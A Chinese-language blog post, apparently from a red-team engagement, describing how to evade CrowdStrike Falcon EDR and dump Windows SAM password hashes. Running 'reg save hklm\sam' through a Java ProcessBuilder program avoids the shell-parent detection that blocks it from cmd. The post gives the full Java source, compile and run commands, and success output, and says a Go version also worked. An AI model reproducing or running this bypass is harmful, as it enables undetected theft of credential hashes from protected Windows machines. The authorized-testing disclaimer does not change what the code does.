绕过 Crowd Strike Falcon 转储 Windows 哈希

简介: 绕过 Crowd Strike Falcon 转储 Windows 哈希

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


文章正文


最近在红队评估中,在实现内网访问后,注意到所有服务器和工作站都受到 Crowd Strike Falcon EDR 的保护。这个工具可以主动阻止大多数已知的攻击。

在这种特殊情况下,我们的任务是从本地 Windows 服务器转储所有哈希(具有本地管理员权限)。


使用传统的转储方式:



 C:\reg save hklm\sam c:\sam
 access denied.

此故障会在 Crowd Strike 控制台上生成日志:



该服务器安装了 Jenkins,我们注意到可以在 jenkins groovy 控制台上执行一些恶意命令。Crowd Strike 无法阻止他们。因此,我们使用 groovy 转储了哈希,但我们发现绕过 Crowd Strike 预防的更简单方法。如果进程由shell(cmd或powershell)调用,它似乎是连接的。



概念证明:


先决条件:最低本地管理员权限。


我们需要在没有shell的情况下执行应用程序(在本例中为:reg.exe)。几乎所有来自公司的服务器都出于某种原因安装了 java。(如果没有安装java,可以下载openjdk,解压使用,无需安装,100%可移植)

我写了一个非常基本的简单代码,只是为了执行这个过程。

 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
 public class FalconBypassTest {
     public static void main(String[] args) {
         ProcessBuilder processBuilder = new ProcessBuilder();
         // Windows
         processBuilder.command("reg.exe", "save", "hklm\\sam", "c:\\sam");
         try {
             Process process = processBuilder.start();
             BufferedReader reader =
                     new BufferedReader(new InputStreamReader(process.getInputStream()));
             String line;
             while ((line = reader.readLine()) != null) {
                 System.out.println(line);
            }
             int exitCode = process.waitFor();
             System.out.println("\nExited with error code : " + exitCode);
        } catch (IOException e) {
             e.printStackTrace();
        } catch (InterruptedException e) {
             e.printStackTrace();
        }
    }
 }

将文件另存为 FalconBypassTest.java。

编译:


javac.exe FalconBypassTest.java

执行:


java.exe FalconBypassTest

执行后,我们收到了操作完成的stdout,提取了SAM文件。


The operation completed successfully.

再次查看控制台,我们可以验证该操作已被检测到,但未被阻止。“不采取行动”。



使用 golang 尝试了相同的 POC,结果是一样的:如果进程被不同于 shell 的东西调用,Falcon 不会采取任何行动。


相关文章
|
安全 JavaScript 前端开发
Clash_for_windows远程代码执行
Clash_for_windows远程代码执行
693 0
|
Windows
利用software center在线更新windows 10 1909失败
利用software center在线更新windows 10 1909失败
利用software center在线更新windows 10 1909失败
|
Windows 数据安全/隐私保护 安全